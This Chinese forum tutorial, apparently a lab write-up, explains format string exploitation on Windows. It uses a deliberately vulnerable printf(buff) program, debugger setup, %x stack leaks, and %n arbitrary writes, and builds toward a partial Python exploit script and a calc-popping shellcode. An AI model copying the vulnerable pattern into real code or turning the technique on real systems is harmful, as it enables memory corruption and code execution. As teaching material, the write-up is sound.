在网上找学习格式化字符串漏洞的材料,大多数是 Linux 系统的,分享一下在 Windows 系统上学习格式化字符串漏洞的记录,希望能对各位读者有所帮助。
将以下代码通过VC6.0 编译成程序Fstring.exe
(release 版)
在系统的注册表HKEY_LOCAL_MACHINE –> SOFTWARE –> Microsoft –> Windows NT –> CurrentVersion –> AeDebug
中,添加 Debugger,将其数据设置为调试器所在的的文件路径,后面还需要加上一些参数设置,这有利于后面的调试。
如下图所示:
在Auto 的值被设置为 0 的情况下,设置好默认调试器后,程序在因为内存访问异常等问题崩溃时时,系统显示确认消息框,点击该窗口的调试选项(Debug),调试器就可以自动附加程序并定位到出现异常的地址,如下图所示:
在Auto 的值被设置为 1 的情况下,程序崩溃时,没有显示确认消息框的步骤,调试器会直接启动并附加程序。
格式化字符串漏洞产生的主要原因是格式符与参数的数量不匹配,格式符会不受限制地读取栈区的数据。
当格式符与参数的数量匹配时,例如printf("Test String:%x,%d,%d",20,70,40)
,当参数全部压入栈后,栈区的情况如下所示:
printf 函数会正常打印输出Test String:14,70,40
。
但是当格式符与参数的数量不匹配时,例如printf("Test String:%x,%d,%d,%x",20,70,40)
,当参数全部压入栈后,栈区的情况如下所示:
printf 函数会打印输出Test String:14,70,40,ffffffff
,栈区的数据就被读取了。
以上是利用格式化字符串漏洞读取栈区数据的简单示范。
一般来说,可以通过利用格式化字符串漏洞实现以下目标:读取内存、写入内存、执行任意代码。
接下来以 printf 函数为例对格式化字符串漏洞进行说明。
%x
控制符会导致printf
函数从堆栈中弹出一个整数并以十六进制格式输出 。
用调试器打Immunity Debugger开文件Fstring.exe
,在参数栏输入text-%x
0x401033
是 printf 函数,函数调用之前,栈顶0x12FE74
指向的值是字符串text—%x
的地址 0x0012FE7C
。
printf
函数执行后 text-
会正常打印出来,%x 会打印堆栈中栈顶偏移 0x4 (即0x12FE78
)的值FFFFFFFF
。
输入 text-%x%x
时,printf
函数会一直打印到栈顶偏移位置 0x8
,即 0x12FE7C
的值,即 74786574
(text 的 ASCII 码)。
输入text-%x%10x
时,因为有两个%x
, printf
函数同样会打印到栈顶偏移位置 0x8
,但由于其中一个是%10x
,所以打印时会占用 10 个字符,没有数值的地方用空格填充,即text-ffffffff 74786574
。
输入参数AAAABBBBCCCC%x%x%x%x
,程序的输出如下所示:
也就是说在调用 printf 函数时,每个格式符%x 都在栈里读取数据,读取的位置也是以 4 个字节往栈区高地址递增。如果不受限制地传入参数%x,那么栈区的数据就会被泄露。
%n
控制符的特殊之处在于它不会像其他格式符那样输出内容,而是将当前已经输出的字符数写入指定的内存地址。
printf
函数内部维护着一个计数器,用于记录已经打印的字符数量。每次调用 printf 函数时,这个计数器都会被初始化为 0。当 printf
函数遇到 %n 格式符时,它会将当前计数器的值(即已打印字符数)写入 %n 对应的参数指向的内存地址。
这个指定的内存地址由%n 后面的参数决定,例如下面代码中的变量 count 的地址就是打印的字符数量写入的地址。
上面代码的输出结果是
重新调试程序Fstring.exe
,在之前调试的基础上做一点微调,将最后一个格式符%x 换成%n
根据上面的测试经验可知,格式符%n 读取的值应该是43434343
,不过43434343
不会打印输出,而是作为字符数传入的地址。可是%n 后面没有别的参数了,看看%n 会读取栈上哪个位置的数据作为传入字符数的地址。
看一下调试结果:
程序在0x4018A7
遇到了内存访问异常,此时 EAX = 0x43434343,ECX=0x24(十进制的 36)。指令MOV DWORD PTR DS:[EAX],ECX
试图将 0x24 赋值给地址 0x43434343。
前面已经提到,%n 是将已经输出的字符数写入指定的内存地址,这条指令就是将字符数 36(3 个%x 共打印 24 个字符,加上 AAAABBBBCCCC 合计 36 个字符)写入地址 0x43434343,也就是说%n 和%x 一样,按照顺序在栈区读取数据,并用作字符数写入的地址。
地址 0x43434343 是一个无效的内存地址,才会遇到访问异常,如果换一个有效的内存地址呢,例如随便在内存窗口选一个值为 0 的地址0x407148
,看看结果如何。调试时输入以下参数
调试结果显示,字符数 0x18(十进制的 24,即 3 个%x 打印的字符数)已经被成功写入了地址0x407148
。
通过以上调试和测试可知,可以利用格式化字符串漏洞在任意地址写入任意数据。
要完成漏洞利用,执行任意代码,需要在程序执行0x0040187
之前,
接下来说明格式化字符串的漏洞利用细节。
按照下面代码编写 Python 脚本,最好将程序Fstring.exe
和脚本放在同一个文件夹中。
点击执行脚本,程序启动并发生异常,调试器自动启动并附加程序,和之前一样停留在异常发生的地址0x004018A7
。
此时 EAX 的值为0x42424242
,之后需要替换成可供跳转到 shellcode 的地址 。
按Alt + K
查看程序的调用栈
离 shellcode 起始地址0x0012FE7C
较近的地址是0x0012FE50
,所以 EAX 的值可以被0x0012FE50
覆盖,借助这个地址跳转到 shellcode。
shellcode 的大致组成如下图所示:
前面已经提到,字符串在内存中的起始地址为 0x0012FE7C
,这也是 shellcode 的起始地址。在执行MOV DWORD PTR DS:[EAX],ECX
前,使 ECX 等于0x0012FE7C
,需要调整打印的字符串的长度。
0x0012FE7C
等于十进制的1244796
,之前脚本生成的字符长度是0x1AB
,即十进制的 427
1244796 - 427 = 1244369。%10x 打印 10 个字符,%1244369x 就可以打印 1244369 个字符。
根据计算结果调整一下脚本
此时 ECX 正好等于0x0012FE7C
,但是 EAX 又发生变化了,不等于末尾的字符串 BBBB (0x42424242)。
继续做一点微调
此时 EAX = 0x42424242, ECX = 0x12FE7C,接下来我们可以继续改造这个脚本,将结尾的 BBBB 替换为0x0012FE50
,将开头的部分填充字符 A 替换为弹出计算器的 payload, 完成漏洞利用。以下是改进后的 shellcode 的大致构成:
以下是弹出计算器的 shellcode,共 21 个字节
以下是调整后的脚本:
计算器成功弹出。
https://learn.microsoft.com/zh-cn/windows/win32/debug/configuring-automatic-debugging
https://bbs.kanxue.com/thread-127511.htm
https://bbs.kanxue.com/thread-213153.htm
https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/
#include <stdio.h>
#include <string.h>
void
parser(
char
*string)
{
char
buff[256];
memset
(buff,0,
sizeof
(buff));
strncpy
(buff,string,
sizeof
(buff)-1);
printf
(buff);
}
int
main (
int
argc,
char
*argv[])
{
parser(argv[1]);
return
0;
}
#include <stdio.h>
#include <string.h>
void
parser(
char
*string)
{
char
buff[256];
memset
(buff,0,
sizeof
(buff));
strncpy
(buff,string,
sizeof
(buff)-1);
printf
(buff);
}
int
main (
int
argc,
char
*argv[])
{
parser(argv[1]);
return
0;
}
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe"
-AEDEBUG %ld %ld
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe"
-AEDEBUG %ld %ld
int
count = 0;
printf
(
"Hello, world!%n"
, &count);
printf
(
"\nCount: %d\n"
, count);
int
count = 0;
printf
(
"Hello, world!%n"
, &count);
printf
(
"\nCount: %d\n"
, count);
Hello, world!
Count: 13
AAAABBBBCCCC%x%x%x%n
%x%x%x%nHq@
from subprocess import call
a=
"A"
*80
b=
"%x"
*44+
"%ncc"
c=
"B"
* 4
buf=a+b+c
call([
"Fstring.exe"
,buf])
from subprocess import call
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2024-9-1 12:06
被ZyOrca编辑
,原因: 修正错误、调整措辞